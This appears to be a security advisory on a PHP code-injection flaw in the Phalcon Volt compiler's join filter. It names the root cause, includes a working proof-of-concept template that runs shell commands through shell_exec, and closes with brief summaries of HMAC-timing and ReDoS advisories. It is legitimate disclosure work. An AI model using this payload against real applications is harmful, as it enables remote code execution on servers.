Summary

The Volt template compiler in Phalcon generates the PHP for the join filter by string-concatenating the filter's raw template-literal argument bytes with no escaping. The separator literal is dropped verbatim between two single quotes the compiler emits, and the piped array argument is emitted completely bare. A Volt template whose join arguments are attacker-influenced can therefore break out of the generated join('…') call and inject arbitrary PHP into the compiled template. Volt writes that compiled template to a cache file and require()s it at render time, so the injected PHP executes i.e. compile-time PHP code injection (server-side template injection -> remote code execution) for any application that compiles attacker-controlled Volt source.

Details

Root cause

phalcon/Mvc/View/Engine/Volt/Compiler.zep:2544-2546:

zephir case "join": return "join('" . funcArguments[1]["expr"]["value"] . "', " . funcArguments[0]["expr"]["value"] . ")";

funcArguments[1]["expr"]["value"] (the separator) and funcArguments[0]["expr"]["value"] (the piped array) are the raw values of the parsed template tokens. Unlike every other expression in the compiler, they are not routed through expression() and receive no escaping: the separator value is spliced verbatim inside the join(' … ' quotes with no neutralisation of ', and the array value is emitted with no quoting at all. Volt's scanner stores string-literal bytes verbatim (escape sequences are not decoded), so attacker bytes survive intact into the generated PHP.

Generated-C ground truth -> build/phalcon/phalcon.zep.c (Phalcon 5.15.0):

c ZEPHIRCONCATSVSVS(returnvalue, "join('", &19$$24, "', ", &22$$24, ")");

i.e. literally "join('" + separator + "', " + array + ")" with both attacker-controlled fragments unescaped.

The compiled output is then written to a cache file and required by Phalcon\Mvc\View\Engine\Volt::render(), so any PHP spliced in by the attacker runs at render time.

PoC

php <?php use Phalcon\Mvc\View\Engine\Volt\Compiler;

$cmd = 'id; uname -a; hostname';

$b64 = base64encode($cmd); $tpl = "{{ ['x'] | join(\"',[]); echo shellexec(base64decode('$b64')); //\") }}";

$compiled = (new Compiler())->compileString($tpl);

$f = tempnam(sysgettempdir(), 'volt') . '.php'; fileputcontents($f, $compiled); include $f; unlink($f);

<img width="1226" height="386" alt="image" src="https://github.com/user-attachments/assets/4d5da3f4-0bc9-41d9-b741-13c9ea9b08fe" />

Impact

Where an application compiles Volt source that is wholly or partly attacker-controlled, this yields remote code execution in the web-server process.

Phalcon is a high-performance, full-stack PHP framework. Prior to 5.14.1, Phalcon\Encryption\Crypt::decrypt compares the attacker-supplied HMAC tag against the freshly computed HMAC using PHP/Zephir identity comparison, which lowers to a byte-wise comparison that returns early on the first differing byte. This observable timing discrepancy can allow an attacker to recover a valid tag byte-by-byte and attach it to a chosen IV and ciphertext so that decrypt() accepts tampered encrypted content as authentic. This issue is fixed in version 5.14.1.

Phalcon is a high-performance, full-stack PHP framework. Prior to 5.15.0, every Phalcon MVC application built with a default router registers a built-in route whose compiled PCRE pattern contains the nested quantifier (/.), and the same construct is produced by the /:params placeholder and the CLI router. Phalcon\Mvc\Router::handle() matches this pattern against the attacker-controlled request URI on every request, so a crafted path such as one containing repeated slashes followed by decoded newlines can trigger catastrophic backtracking and cause CPU exhaustion or route-matching failure. This issue is fixed in version 5.15.0.